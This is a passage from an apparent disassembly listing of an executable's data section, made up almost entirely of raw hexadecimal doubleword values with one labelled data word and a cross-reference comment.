0EB392D85h, 8B2267CFh, 7D64F564h dd 38D9CBBFh, 625C2FBFh, 5CE6E256h, 1254E907h, 0DF2100D4h dd 0F3D63D77h, 8B117182h, 0F8251BB5h, 504BE6C6h, 0B6F0F420h dd 0C29D005Ch, 3294BD2h, 0ED1D2D62h, 8A8BD168h, 0E7E904BEh dd 0FABD35C4h, 8C00AEBCh, 0F3E1E286h, 18FA597h, 23FA8AA8h dd 6A1739BDh, 71122D8Bh, 52DBEA0Ch, 0CD77D896h, 13275FB0h dd 5A127467h, 680671Fh, 6DF13E11h, 4C03E893h, 0BF0BA8C9h dd 0B5D7C480h, 6017925Eh, 569D88C9h, 0FB8DCC4Bh, 0D4BBF945h dd 52AEB4Eh, 0B861781h, 1EFA30F4h, 0D884DF4Bh, 0D7B866A9h dd 0D250F90h, 25CD7115h, 0B195E730h, 86E6265Ah, 4E3017F2h dd 4FFE25A1h, 0BB04AE73h, 22150E54h, 2E2FAED4h, 0FD8AB838h dd 1144B6B0h, 343A0348h, 9118F4A0h, 40DF94F8h, 5F0A5300h dd 0F6D22E8h, 3051BF82h, 0CD7E6AA5h, 0EB3DE5EAh, 79D15C1h dd 74092F0Ah, 0AE7327B7h, 3B1A5D2Dh, 2C55FB77h, 1BBE6079h dd 74005FC6h, 22EA62EEh, 1FDA6C67h, 2D249282h, 17596373h dd 0FB12BB18h, 89E2F5F4h, 0DAB11288h, 50021A39h, 962032E2h dd 29119D0Bh, 73CBC5B5h, 498BA0FCh, 10F653D0h, 61340EA5h dd 0F1C4AE1Ah, 801798ABh, 30F6E74Ah, 469F204Fh, 1F0E562Eh dd 0D9F26Ch, 9341D025h, 8DE44B52h, 3F302F92h, 544916h dd 382E90FDh, 0F1C1FFC7h, 0BB25FCFEh, 1181C561h, 85890451h dd 64B907D5h, 0A99D23C2h, 0C6160FFCh, 0D4E87EF9h, 50F93612h dd 0B857D5AEh, 925880DCh, 3E4BBD2h, 609D1AEFh, 0B8887F1Ch dd 0F09C9F0h, 57BF15DFh, 46A12EBDh, 77F72280h, 4BB0665h dd 0E98F4B88h, 5E9AB8E2h, 0A169EF82h, 0F28B66E2h, 55C1DF42h dd 8BC095EDh, 3B39A48Eh, 9D2745BCh, 5EB7445Ah, 1B49D487h dd 8BD6807Ch, 2455F9F5h, 1640BE12h, 0FEB98Dh, 0B3605290h dd 498BB29h, 6127E792h, 0EEB2EE5Fh, 5880BE3Fh, 4CDDDFC7h dd 9A02C574h, 5068C42Ah, 405CD652h, 3A0F7EBFh, 59048174h dd 0B616AC8Ah, 1104FEB8h, 62F72Bh, 0C381905Fh, 47F418E0h dd 1DC9EE1Eh, 0DBDF1897h, 0EB054EF2h, 4E13FC6Fh, 41AFF825h dd 22E0E4A0h, 9DDE189Eh, 7EA77C7Ch, 5C089EDh, 23709773h dd 19DEB59Ch, 32F1F831h, 96EFFC05h, 0C0EA97BFh, 8A12C9BDh dd 0FD2054B2h, 0FC5B4F0Eh, 0B35009ECh, 53176122h, 0B8F6D0DFh dd 5F76383Ah, 8F5A0E8h, 853F31E1h, 4C95F5A9h, 2ECB7AEFh dd 0FDBFFB1Dh, 96397BB5h, 0D25BB9FCh, 0AAA8DEADh, 0F55B4C00h dd 12CE8949h, 55D156FFh, 0B7D972B0h, 9F8AE54Bh, 29CF8C2Fh dd 0FDC58865h, 373AC2F2h, 2B66588Ch, 32000922h, 59F66EDEh dd 763C6992h, 0D7C1952Ah, 25E26A83h, 0B77CEB80h, 0D0000638h dd 0EC2D7BB8h, 56D95AAh, 9D0C0DEFh, 0DE4482F2h, 0BD2BF3A0h dd 0CFDD2C8Dh, 0DF020D8Bh, 0CCAF2DB7h, 0BEB9EE41h, 95E828B1h dd 60C46C71h, 0CBA9A384h, 0F701B4BCh, 8E6C7B49h, 0FDE2AE07h dd 0C1953230h, 9DAD408Ah, 12A29E35h, 0B962A961h, 5B04DC2Bh dd 5EFC872Dh, 0B09DD625h, 9FC5275Eh, 901205D1h, 9CA6B8h dd 6785FA15h, 970144C9h, 70EE92FCh, 8B127BBDh, 8B021589h dd 886B86B7h, 4FF8B2FDh, 0E77D8Ch, 6DA65DC0h, 468A1B82h dd 3790392Dh, 0AD8B0494h, 0C3E6AAEEh, 2C49A6B4h, 0D060C938h dd 26B0A0h, 67237054h, 80E7EF87h, 1AD67201h, 0A7717A6Eh dd 0BC19642Fh, 7D182DD9h, 0DF8155B0h, 0C13F0B07h, 0D9C2097Bh dd 81D35C2Ch, 84BA5BFh, 2D15204Ch, 0B53F2B62h, 29EF5D15h dd 0E9C4F464h, 2588DEADh dd 9D93609Fh, 4E0F5AB4h, 0D34D8C87h, 828663B6h, 3E16B0ABh dd 0BD4A75BFh, 0E3047E91h, 38BC6857h, 0F738E3B9h, 0E0880544h dd 6FDD12E8h, 3FD6E14Ch, 0D72DB909h, 0E540ED32h, 0C2820775h dd 1108DF32h, 0D261A59Ch, 2ADE409h, 7C90C486h, 92B0EA80h dd 1AAB27BEh, 0B5C5D85Eh, 0DDAAC9ABh, 59822BD1h, 0E057061Ah dd 7C9FC702h, 5699E95Fh, 0A7B1E068h, 0DA2EB35Dh, 9D8B346Fh dd 0FD382B99h, 4C440A83h, 26785F8Ah, 182B0E41h, 1465E8DFh dd 585D09A2h, 9582C43Ah, 0C8E7B821h, 0D560B11Ch, 0ECF87A07h dd 71DEA4D8h, 0DA362528h, 0B4D48D4Fh, 61CBD404h, 30D6E8B8h dd 47DCEE58h, 2BD66500h, 4EF65D10h, 0DA119752h, 25921621h dd 0F571172Dh, 7CD38041h, 74044921h, 1E257BECh, 0C0339D7h dd 9B7F22FDh, 0AA1CC1D8h, 60A73225h, 6AC404F5h, 0C0B09BABh dd 0B1A24753h, 408D4E0Fh, 809AB30Eh, 7BB5ADE3h, 0F59D042Ch dd 2761415h, 5769470Eh, 5AB0E2B9h, 21927EFh, 0FFCB095Eh dd 0D585719Fh, 43BF797Ch, 4DCB8176h, 0FC7239B8h, 1B5186C4h dd 890D99ABh, 0F5236D7Ah, 35975D64h, 14B0005Ch, 0A39163B3h dd 5EF0C44Fh, 7BC59508h, 48181A59h, 21B9F002h, 0D456E725h dd 0CD7F49FAh, 0BEA7C2F9h, 0E1209E50h, 0FCB70919h, 96F6880Dh dd 1DF500F6h, 0D84269D0h, 59B7C0B7h, 0E2BF80A5h, 0C64A4020h dd 56DBA813h, 0C57B98BBh, 3BBC145Ah, 0ACB184A4h, 1831ACE0h dd 372C7985h, 0BF2EEF81h, 0DE37F5h, 0D12B9D27h, 6D87557Ch dd 57A3D95Fh, 656DAA92h, 0C7E1D29Ah, 3B59045Ch, 0CAF2AE14h dd 0AA5A4F52h, 0BE4A696Eh, 50BBB309h, 4F1525C6h, 0F80FDDC6h dd 92B3E1FFh, 948798E2h, 0EE4D0904h, 719029EEh, 528544B3h dd 40E39EACh, 5B4B1F48h, 0B56033B4h, 5EC013EDh, 16E40D37h dd 0A0E10109h, 0AEA3DE3Dh, 597502BAh, 0D470AE16h, 31BA4C02h dd 5513599Dh, 4DA5F171h, 3AB9409Dh, 4902398Bh, 98E6A9E5h dd 0CC8C9F5h, 1B48C304h, 2E231A99h, 1346D45h, 30E8BABDh dd 0A5E9D9BFh, 15595A53h, 0BF5E9718h, 88527AE8h, 0C927A80h dd 0CC000538h, 0F2183FCEh, 150710Dh, 0E6BCBB4Ah, 2B5F2CC2h dd 0BAA5D68Ah, 0C17A6FC9h, 7A0489BFh, 0E34B286Fh, 9F20260h dd 8007BD9Dh, 0D777BB4Eh, 68370215h, 7CC39331h, 13400CDCh dd 0E6725559h, 5F600056h, 0F07656Eh, 7E12F6CDh, 34B0C6E0h dd 0DC900BCEh, 765CF57Ch, 0F892F1E5h, 916F5589h, 0DC4C25E0h dd 0F8A804FDh, 0EF0F8AFAh, 3BE95D20h, 2E4CBD02h, 0EE2B1401h dd 6530176Fh, 12D69FF0h, 0E186192Dh, 0A3E73F87h, 0A5C28EB0h dd 335C4C02h, 60B311F5h, 0D2AD9D89h, 7FB0B1EFh, 0EE27F87Bh dd 192D26D0h, 5634C27Eh, 0DBA06FCFh, 6E94300Ch, 25977B9Dh dd 15E0B74Dh, 7745552Ah, 0CF7AC2AFh, 4C57C8E6h, 25BB9289h dd 8DC2B601h, 75AF36F9h, 781A4518h, 0E360EA01h, 0BCB975A2h dd 0B150957Eh, 4C6E3A1Ah, 8855CF0Eh, 9B9C5B40h, 40A86002h dd 0BD009A76h, 1DAC476Dh, 0DBFF81h, 4B6F92AFh, 0E210CA74h dd 0A3D4BB28h, 2C169D4Dh, 9C63E161h, 4154883Dh, 606B092Fh dd 0B671481Ah, 0E4165393h, 5F25E8F9h, 966214D7h, 0A26A4054h dd 1D001EB6h, 34CE13CBh, 6F28714h, 0E167ED52h, 6017E18Bh dd 21BCC28Ah, 8878A8C0h, 0CE26827Eh, 0FE009755h, 0AA7D4815h dd 0FAB1005Ch, 4ECCBB19h, 61717670h, 607A8B70h, 22873B03h dd 0E4BFB404h, 26B72F88h, 0DEE65868h, 0BAC55400h, 5E53D47Dh dd 0BD1A090Fh, 7ED38DF9h, 4F181751h, 2EE8FB07h, 3694BB66h dd 72E814EEh, 7BECB65Eh, 8B7C18DFh, 0D8434BBFh, 0BE535E96h dd 0AE6FAF12h, 0FEEB1702h, 7340AF51h, 0BD263C15h, 2BCA5C47h dd 3C3A8060h, 0E3A100EDh, 0F3C2842Dh, 2700654Eh, 6C14CB40h dd 5A011691h, 0EA6E61h, 3089037Eh, 4BE812A7h, 252ACBDFh dd 1844C5FCh, 0B5291D12h, 0B7C84173h, 0C0B38B22h, 0D3259F58h dd 5CFEC74Eh, 8051600Eh, 665B20CEh, 4D45C6B9h, 2EBDCF61h dd 7C8457BDh, 0E447F073h, 16D49C4Ch, 0D1B80279h, 9829C8E2h dd 1388224h, 0F7EDA22Bh, 2D625408h, 0C4CC4257h, 7ABA03A9h dd 0AF791C15h, 0AD5ED927h, 1D40427Ch, 12F8ED7Dh, 0F75BF549h dd 58DD2539h, 15552505h, 974FA7CFh, 8F501EE3h, 403D3D3Eh dd 2EAD8DCBh, 0B3563730h, 965B01E3h, 0F50FB8Bh, 778C3289h dd 1CD74FFCh, 5D82539Bh, 0E2DF230Bh, 15457519h, 0D62B3D89h dd 0C546C05Dh, 5171E804h, 0FFDDF800h, 8324C907h, 0F323039Ch dd 8BA252B9h, 7B0D542Dh, 81608030h, 81F32F2h, 6CE83FE5h dd 0B861FC84h, 0F98AC0FFh, 8BC48689h, 8F4525Bh, 71951231h dd 0BE8E71Dh, 0AB598D01h, 427C56BCh, 5D3A2C81h, 72432F6Dh dd 0B05ECB03h, 2E28A48Fh, 0CB7A147h, 0DE8713C5h, 5087C5B5h dd 2997408Bh, 99BD57CEh, 10F24D00h, 936AAC3Ah, 0B56AD093h dd 0B089DA5Bh, 0C799FC2Fh, 2B90041Eh, 983D037h, 94B31768h dd 1589D6E2h, 0CF27A3D9h, 0A330C2E0h, 0F4A72DF9h, 49D1E5F5h dd 0CF7550EDh, 71F74015h, 9D4F293Ah, 0BB3E1AEBh, 0D0687375h dd 1A98DAE6h, 3DE0605h, 99A1D59Dh, 0B40BE66Ah, 9F81FFF9h dd 2A8BFBD0h, 5EBF94C4h, 36FC2F97h, 69AE6145h, 307168EBh dd 1AD49C96h, 0F104B850h, 0F06AF66Fh, 92B5A54h, 379AB084h dd 0FD2DEE71h, 0A225A81Ch, 4035D764h, 3556C25h, 1E80E3DEh dd 0CA163327h, 75AFEE8Ch, 0A2C5B618h, 881DC91h, 31D0E6Dh dd 475D6193h, 81005B29h, 0A73DCFE7h, 1EE952Eh, 25EF3595h dd 0D74B56FEh, 0BB1D4566h, 4A3DE87Ah, 16C808F2h, 5EDFA7BFh dd 8727C0A1h, 0C6554B95h, 75F9E5F9h, 4C2D2EF8h, 22E4163Bh dd 2E5E876Fh, 0A1372Dh, 3D147A63h, 0D72D05E5h, 25AD5C52h dd 100A9B7h, 122D1902h, 2B940EA6h, 0F712F1BDh, 0ADEC4F48h dd 0C307A94Eh, 0B8C97CC5h, 0BA73C4h, 73B021Bh, 3F83F5B5h dd 2FA76758h, 50AF4112h, 0B7043564h, 0C1E4544Dh, 4F6D20AEh dd 6D052CD8h, 8E479FE0h, 0B94B0BACh, 0FF005F45h, 622F0ADh dd 0B1BD1223h, 92D7B905h, 2086AAAh, 1128FE10h, 988BD588h dd 0B2049D71h, 0A6AB9932h, 0A5617A7h, 1C2D21Fh, 0F9B47874h dd 8E8D0049h, 0C3FFB9F6h, 4E4A64Eh, 0FC93A05Fh, 5B7EB590h dd 55FEBF62h, 9378DD7Bh, 0E4490106h, 25F7E0D5h, 509CEFDh dd 21AEA9C5h, 7A14E975h, 0A9D72FF2h, 2411A8C3h, 98BF8Dh dd 0A7E381FAh, 0E4BC924h, 0A6FF1CD4h, 0B31DF0CBh, 2D7FC1Ah dd 72E5649h, 0B7FDD1FFh, 0E129008Fh, 0B8B6C4E8h, 0B115710Ah dd 273E84D1h, 0D711A104h, 0BBC4B3Dh, 3394977Ch, 1AF2B043h dd 266830h, 0C615749Ch, 31850121h, 8DF2C897h, 0AB164F99h dd 0D84AE13Eh, 4E09C406h, 0F9295070h, 0D05F1970h, 2FE8CDF3h dd 97CFAA3h, 2BAB618Ch, 0A4032A8Eh, 47B086BBh, 0FD4C9A36h dd 0F6D12FD5h, 83C942DEh, 642DCD55h, 5F62601Dh, 7BF600F0h dd 9AD391F3h, 0E6B751E8h, 5F573800h, 0F3F2E992h, 9B78957h dd 1737F5F4h, 0E87F2F87h, 66982160h, 27E497EBh, 27C3E3Dh dd 6541EABBh, 0B0795Bh, 82700D0Bh, 913BDC40h, 0EE2525E6h dd 74D9738h, 0C8EB0A44h, 605B906Dh, 0C7035D20h, 927D00C0h dd 0CB095E05h, 0A10097CFh, 31A6A9A5h, 16B866D3h, 0FB611B46h dd 71B4F630h, 0B053EED9h, 0CD809DFh, 0B75F905Bh, 0CCEE000Dh dd 509B0E9h, 0CDDE0312h, 0BF0231F6h, 2D6D33A5h, 0FBE639D7h dd 0C01A881Bh, 0FDA5390h dd 0CE20663Fh, 32AD1C81h, 15953300h, 0DFE2015Ah, 5A4AB84Fh dd 760314EEh, 24097504h, 8C00BD7Ah, 0B88065FEh, 8BE5A274h dd 407A71E9h, 0DF6F6694h, 1C3DB50Ah, 0DE2FF9AAh, 0FA8269A2h dd 0F06671E4h, 0D45A582Eh, 1AB8B900h, 4A257BF0h, 0FE40A079h dd 97D0569Fh, 234331BDh, 0D122FC7h, 306007E2h, 75669B56h dd 41DBCA97h, 0B97E290Ch, 32AA92A3h, 155E6133h, 95259320h dd 0F15E403h, 0C82B45B3h, 0C055BDA9h, 24D18BFEh, 1139F380h dd 34AD4F75h, 0E4C59D84h, 50008532h, 0BB47554Ch, 4B9CDA2Ch dd 80F48036h, 0CD2E1EFh, 86C8C1ADh, 723BD749h, 7C15C10h dd 0B36E914h, 0C4EDBD17h, 0D0E9ACB2h, 3D911693h, 8413CCEBh dd 5E211A4Eh, 282E0EA1h, 955089E0h, 0B14BB35Ch, 2F31D998h dd 0B0CD226Eh, 7B0ECh, 4977BBE3h, 319412FBh, 3BBDB54Ah dd 88736A27h, 0E80C0178h, 0F6CC04ADh, 0F08FB03Fh, 0D1242FDh dd 78BC800Fh, 818D29B0h, 0D5B9044Ah, 318C15BCh, 0E9529154h dd 33A67E21h, 7213CF00h, 0FD9647F7h, 190D2A00h, 0C1B9E1A6h dd 25FD910Fh, 0FE8A14C0h, 0E1DCCDB5h, 2F9DF327h, 0AA4A21A8h dd 0F9AA3C20h, 0C2E045Ch, 0AFC00574h, 9701F5C8h, 618F8CF6h dd 65A9D62Bh, 0B91C36B8h, 847B2BBFh, 89792C84h, 0F141B5FFh dd 0E2B23BD2h, 2528EA5Ah, 0C28D5A9Dh, 5BD55B94h, 0F44D4494h dd 0D2FDFB2h, 81B6BD88h, 0FDBD2BAAh, 0DDDB3D0Eh, 0E4CD2ABEh dd 5966739Dh, 25301815h, 0F5765691h, 758D0160h, 0ECF1D71Ah dd 228B1230h, 27C42FAEh, 0CF724DDEh, 0E392DBA2h, 3C00D0C6h dd 13340B46h, 25411581h, 0EBC5C49Eh, 2B489F11h, 0B9E01216h dd 8C1DA8B8h, 39F8BD00h, 0C29CD4A8h, 7DCA261Bh, 895D253Ch dd 0AA4DF588h, 5414C49h, 9A224FCEh, 0ADCDBF41h, 0E3001463h dd 0D6E8533Eh, 711EAA30h, 8740AF77h, 807C064Ch, 0C57BB5F1h dd 26101D0h, 0D5397F06h, 9B8241E3h, 4F5E04F4h, 77EEBC51h dd 0D841096Fh, 56E0F84h, 0AF0D39BAh, 87A51438h, 146216E4h dd 8AC0EEC2h, 290938A2h, 5E1BC985h, 43A7009h, 49AFCFBDh dd 7D313A5Dh, 601600D9h, 0AB923CDBh, 78C2CF94h, 6B9A5E81h dd 0DA755F92h, 198243Eh, 0D9FD1944h, 8A162F5Bh, 7AA37B09h dd 16D255Ch, 27F4975Eh, 14D41FBFh, 0FDE05B60h, 0A6920084h dd 0A2A99914h, 0E1255873h, 27C366C9h, 8AF98A0Fh, 2972C784h dd 9AD33ABDh, 0E8C0806Bh, 1CA223BDh, 8FF55035h, 0FB02BA60h dd 0C6554D18h, 28B9040Ah, 0EA0E0963h, 0FE9D9FA4h, 823FA208h dd 752DFD45h, 5CC9F751h, 62AB4088h, 963AB8C5h, 9B8B3498h dd 176E84C7h, 0FECF8CEEh, 0D3AB090Eh, 0C6A72414h, 837820FBh dd 0E509A08Bh, 0FD5B510Ah, 0F8B84EC0h, 5A0C9F01h, 61C38B66h dd 3CCB9BD6h, 864FE14h, 1A2AAFDFh, 308D8880h, 8205657Bh dd 0E5C9D663h, 94BACBC5h, 1A2AAE21h, 8A40958Bh, 0DA881F55h dd 0F62FE101h, 2D8AF0CCh, 3A372D45h, 0A5E21574h, 0ED717520h dd 0CF1C5C49h, 921ABDF2h, 12EF1DE0h, 0F25B0863h, 419AD64Ch dd 0EB90EE97h, 0EDDD9531h, 8AF3723Ah, 9DBA58D5h, 0E2737ED3h dd 0A1535F96h, 50271507h, 81C8B7C9h, 0D9D0EDC5h, 19F92A2Bh dd 27E2F525h, 6E82CF55h, 27070D00h, 65025792h, 0C9B58926h dd 38B34D1Dh, 0DAF352A5h, 903125BCh, 0C195BAh, 0F5B6EB2Fh dd 1D195246h, 22932C48h, 0A751918Bh, 46A94D5h, 3202B0FCh dd 7343BC49h, 0C4E8FA4Fh, 0F67B0B80h, 97F245ECh, 8066383Ch dd 0BFA92C14h, 25B3BE5Bh, 56E45902h, 351BBB02h, 0D058575Ah dd 6B922F20h, 66D53309h, 50FE2DE2h, 0B78B8FF9h, 0EFCFDFC7h dd 9AAB8A40h, 493D1350h, 4FB6B8C1h, 0D5276C09h, 0F3C909EDh dd 2B7D255Eh db 53h, 0D4h word_505446 dw 981h ; DATA XREF: ___:off_4274D8o dd 716D6168h, 560913C0h, 17C17C90h, 0B8B8010Eh, 0DF142D13h dd 76618C3Ah, 3AA36B31h, 0B846ADD2h, 1E540194h, 0C15B4853h dd 17D054B5h, 12C1FC9Ah, 9FB8161Dh, 38FE2EE2h, 0CCBF00F6h dd 1B6D09E8h, 81652AFh, 843020E9h, 97018BDBh, 2971779Dh dd 6008882Ah, 702FE594h, 0A8085B6Eh, 0D4E2E7A0h, 6D3DF504h dd 629DA70Dh, 0CF4F22FDh, 34D4A425h, 64A302F6h, 0ED87D565h dd 611D7971h, 0D7593149h, 4C557C3Ah, 4420905h, 617B4067h dd 4021CDAFh, 3640DC41h, 0B4BDD71h, 0BB1640FBh, 7D99062h dd 0FEF90B97h, 0BA00F6DCh, 84C31C9h, 978F0F13h, 0E8E097F6h dd 4EFA1E5Dh, 0AD9EBD70h, 4C7DC1Ch, 2DBD33ACh, 98500930h dd 0B887C9h, 10981B28h, 0CB52CC0h, 0A1E4250Eh, 4BAB5734h dd 1F568B8Ch, 0D88273ADh, 9997A125h, 89DA29BBh, 25A371A8h dd 12F61776h, 0BD3CCA78h, 2DB6D3B1h, 3602CCA0h, 0CFC46F4Bh dd 0B897F5E2h, 0CDC44A49h, 0D0809AABh, 0F2C2C337h, 9D31805Fh dd 0AE0A4F09h, 6ABB2A34h, 0EAFF00B8h, 0DF8060BDh, 20EFB0A3h dd 61771FCDh, 4D20502Dh, 7919C19Dh, 7E92C1F0h, 0D4C9FFCh dd 2C1C1510h, 1082053h, 0EB5B1319h, 168E2F9Ah, 6A00211Ch dd 35BB9C15h, 437C2D67h, 0F810BE7Bh, 40252050h, 9D12011Eh dd 21BD0231h, 0B8C17BCh, 15A525EFh, 4FD7B4EAh, 0A3D9405Ah dd 7A2DDB0Ch, 0F523805Ch, 4A0F9630h, 1A30EB8Ch, 0FB19B750h dd 80F9DB3Fh, 6CC5DF6h, 0C0F30CFCh, 731F14E9h, 0F8176700h dd 0E3B63133h, 0EA160018h, 0AAA83F9Eh, 117548D9h, 0F7817C03h dd 9DE48712h, 7BBAA052h, 0D40E1699h, 0C22664BAh, 9CD71245h dd 7B184598h, 822E70E0h, 0E541C175h, 922CD5E6h, 0F3798112h dd 0DBC4745Ah, 52BB5420h, 0AF92546h, 649595E6h, 3E4A04B2h dd 0FA2E3F74h, 0E152BD00h, 0B159F343h, 0BF7D8035h, 3923BCFh dd 49EEFD5Fh, 0CF045B57h, 4BFDE889h, 16C8FCDAh, 943CF3C1h dd 0A84EE92Eh, 92931Bh, 1FFB3433h, 32573BBh, 605BDCECh dd 0C38FC64Bh, 8CEE3600h, 0B4575B46h, 62C1059Eh, 0EBC8F1B3h dd 0FFAAA342h, 53C15E5Fh, 284F0BCFh, 0D55D2940h, 2D8D9C6Fh dd 0B9F9BF55h, 0AF216380h, 9193CE38h, 0BF71731Ch, 7CE58142h dd 0EE6F5FC6h, 0B2EE9D45h, 2B204E68h, 92C1C3Fh, 81674D51h dd 86F67A74h, 0FB50065h, 8E5BEF0Bh, 812E9EF4h, 0BD08ABFAh dd 8302626h, 0E9092EB9h, 0FC89D750h, 20812FB7h, 8BD6B319h dd 0C982338h, 0C1892211h, 16B1108Bh, 0AF9C375Dh, 3A921C31h dd 0DE94DAFCh, 55FBB0Bh, 3E2E10F7h, 766A5DCCh, 0FE4F5A80h dd 0EF9F3BEDh, 0FFCF448Fh, 6A3C918Dh, 0D2ED8318h, 235B0197h dd 0D3D4DBh, 710A053Dh, 41F488D7h, 219AD850h, 6E882C4Eh dd 95B52431h, 685EAD71h, 0E5E4D964h, 0A4109DD6h, 8E01E5DCh dd 0C749FB9Eh, 86968276h, 0BC99F904h, 0C8820F28h, 0ABE52DA3h dd 2EFC870Ch, 981E4F4h, 2219C185h, 6927D00h, 4061CFB7h dd 0E02E8848h, 96EC2FEDh, 5DB52982h, 8050F3FDh, 3E0B260h dd 4F9649BDh, 44BE6A5h, 885911BBh, 0D2C1AB03h, 556DE1BDh dd 0A2FABF13h, 0FC9A8800h, 5E466901h, 5C6AC584h, 2587082Bh dd 0D402293Ch, 0CF239881h, 6FE8D5DFh, 0A34C4BD8h, 0CBA65E17h dd 0F9835DE3h, 827BEFF0h, 8A116709h, 5AE97BFAh, 0E73BC938h dd 72341C04h, 27A28960h, 2057AC5Ah, 0F9DCE922h, 0F3B65AE9h dd 29A189F9h, 9DC58295h, 8529021Bh, 0CFCEE27Dh, 0AE4F41E6h dd 54C23E2Ch, 0EDEE552Dh, 105D95h, 0C9FC2950h, 0F15B2F40h dd 3F1CCF63h, 91BF800Bh, 0CFDF6987h, 0D52E5B3Bh, 0B16530C6h dd 46F55913h, 0EDE69DEBh, 2F0C0602h, 0C75E268Dh, 0D18B8252h dd 8D0F0229h, 974B6CF5h, 1248A51Bh, 0D2D27AC8h, 0B81C1D5h dd 33412991h, 0F26A0151h, 0A29EFAh, 988E82BBh, 43E3816Bh dd 48B9F90Eh, 0E58213B0h, 72848BC0h, 0E66113CBh, 22690070h dd 0E47BD8CDh, 131A7158h, 32AF1445h, 0F525D103h, 9D4C42AFh dd 73F7125Dh, 0DBBF0F6Fh, 1AD5C1C9h, 35E5CE1h, 0F77FC3BBh dd 0E5253CAEh, 9763E40Eh, 2B41AB5Eh, 276B09C8h, 1D1E22Ah dd 79A75AD5h, 5CB89FE9h, 2900AD1Ch, 0D64FA22Dh, 743D731Dh dd 0C2CF7BFAh, 5FBA6F92h, 0D95B144Bh, 4E490107h, 0FE8A4401h dd 0BF7A162Fh, 0F720EE8Dh, 0C6051ADFh, 0FA242061h, 99EB52CDh dd 504230B0h, 3AE9F41Ah, 0A5718213h, 0E47C5E21h, 8876BCFCh dd 99BD4124h, 0C45A0B1Dh, 0A09854E1h, 0F8015B40h, 0F2224A79h dd 7DF28759h, 0B04D57C9h, 6177CFC2h, 256B1D95h, 0CBA20Bh dd 6CE41A44h, 9739741h, 0D6E7A5BFh, 0A221B157h, 0EAB29414h dd 6EF0AD80h, 208B9773h, 0CC1F3EDh, 0FC60D46Eh, 0FCF1049Bh dd 91E5BD29h, 6AC02B65h, 0B4F059F6h, 8A2EC2C4h, 710991DDh dd 0EEE6751Dh, 1523DBA1h, 0D9FCC8h, 0EDE1140Eh, 4556E474h dd 8EB7A202h, 2B0AE8D8h, 0F948B85Fh, 1CEFB5F7h, 28CDB5A5h dd 3F83483Dh, 0D5A56117h, 0FEB5BA7Dh, 882D9A2Bh, 4EE6C315h dd 93C780A0h, 80BBF99Dh, 2CECAFD5h, 102760C1h, 0D2A05538h dd 0EEFFAEE0h, 6A77F497h, 0B8E46022h, 9601AF9Fh, 2E61D955h dd 342F76BFh, 6E95CC62h, 0BDDEC00h, 0FD4EFBA5h, 8B5E9DD2h dd 837E255Dh, 0DB2C7EE0h, 3A0713DAh, 5044AC49h, 334EB5BAh dd 6DE227BCh, 821BBD57h, 3956F0FFh, 71D10255h, 0B3020B2Eh dd 0EDF5233Dh, 0E14C7EFh, 0FC9B8510h, 8EE4D8EBh, 5A9619B7h dd 4E8957F6h, 2DD0ECF7h, 0F07122BDh, 0F1571DC4h, 2AEDD9C6h dd 8082FDE6h, 0C45C64C3h, 0C9A7E051h, 0F1C82913h, 0B500111Fh dd 0BCD2ED5Fh, 3D86DB4h, 0A34C92BAh, 0CAF1DA51h, 0D2352860h dd 130194B0h, 0EB0381BDh, 19C9518Fh, 0D17D7632h, 0D679277Ch dd 0AFAED000h, 5F292Fh, 3347BB1h, 5910E73Fh, 2C2A42Dh dd 291E3D53h, 2AF7C25Ah, 99D04CFDh, 5FA6100Bh, 16318522h dd 80E11B56h, 342E2FDBh, 0B142BB9Bh, 0F70465B5h, 5203E41Ah dd 748082B0h, 7C009E69h, 0E3756C78h, 959F9A1h, 5F0F2B43h dd 8A322275h, 2F4E5DDCh, 0CD9F77B2h, 8E78C073h, 5F05D9FBh dd 50329321h, 0A93020EFh, 77004B10h, 0CDF8E159h, 1F324B9h dd 1E62BB68h, 2F5B75AFh, 22A358D1h, 0F8408DFh, 0CAA60E8Fh dd 3858910h, 0E3E0BA95h, 2D949561h, 0BCA4BF05h, 915222D8h dd 221BCC8h, 0EC0518C8h, 0C35C7D42h, 0E0EEBB01h, 0F23A69A4h dd 33A49231h, 99350FBBh, 9A38417Dh, 5689158Ah, 4B000863h dd 0A339D52Fh, 91010E2Ch, 0BC936BA0h, 0F36A5BE7h, 0D8426Fh dd 43F9DB61h, 5C0DE08Bh, 360F9A67h, 0B8620E64h, 4277C6DAh dd 9DCD021Fh, 17C5F5ADh, 0B125BF01h, 0AD6A63C1h, 0B8FDFCB8h dd 9B92227h, 7ABAB44Eh, 94FA007Ah, 0E623218Fh, 19895A2h dd 617C9D0Bh, 0FCE03A97h, 4B0269CEh, 0ECD514D6h, 0C19D1271h dd 6571AF19h, 0F72ADEB7h, 1D9A5B3Ah, 0AE6FB80h, 0F0FA8D14h dd 0F1172570h, 4EE0689h, 0EB1351C9h, 0F6E5CCA6h, 0A4B81301h dd 24D654AAh, 789D0A22h, 6C3FB072h, 460EC9A9h, 1CA9045Eh dd 5B82EADEh, 88F48896h, 8459400h, 9F21B312h, 3D5A009Eh dd 48318D9Bh, 0A300A2F9h, 6660504Fh, 0BD4DEBAh, 9661F18Bh dd 3385C4B7h, 0A7ACCCBDh, 3BBF4980h, 67271DA2h, 1256D691h dd 0B063A71Fh, 1463C403h, 0FD4F9870h, 680BA44Eh, 2469694Ch dd 1D091233h, 7F17473h, 0B9E6A296h, 0ABC99504h, 0F84A37CAh dd 87902D5Ah, 0C77050F8h dd 0F54E5FEDh, 417FC86Bh, 0E2F3B600h, 368F934Ch, 0A55700D2h dd 0A6F2134Fh, 9700F6F4h, 758AD381h, 0BD5F257Dh, 54DE79h dd 0FC8A2671h, 0E5B50161h, 888F194Bh, 800F2662h, 605B3864h dd 0E8AFB304h, 166A18E1h, 2E2CAEB0h, 0AC35D72Ah, 942220A7h dd 0CE762553h, 8B490BF4h, 0DF5CF3A6h, 70534977h, 0AD493950h dd 0ACD8601Dh, 0C925BD2Bh, 0ABBE5725h, 188B59Dh, 40AA2950h dd 0D8E6D174h, 44B11B5h, 0AC3E9E8Eh, 0E8E8ADCBh, 5D800438h dd 0BC6774E6h, 0EFF42C04h, 0D5163362h, 0C200C652h, 5CCB0834h dd 94D59589h, 0AE5827E6h, 73F36EA2h, 9CBD0B8Fh, 59C41836h dd 0BC5E0D81h, 0D916AA38h, 0AFDAAAF9h, 0CBC92390h, 0F8B9271h dd 40D25188h, 51A077CCh, 9A6B5902h, 0C0D40590h, 16ACB160h dd 0AC950667h, 4EC8D648h, 0C4F15ADCh, 0AE8953BBh, 0E7808ADEh dd 0E55FBDACh, 63E46F01h, 0BF66CC50h, 0DD6B31E5h, 0B5BD7E64h dd 0BD0353A8h, 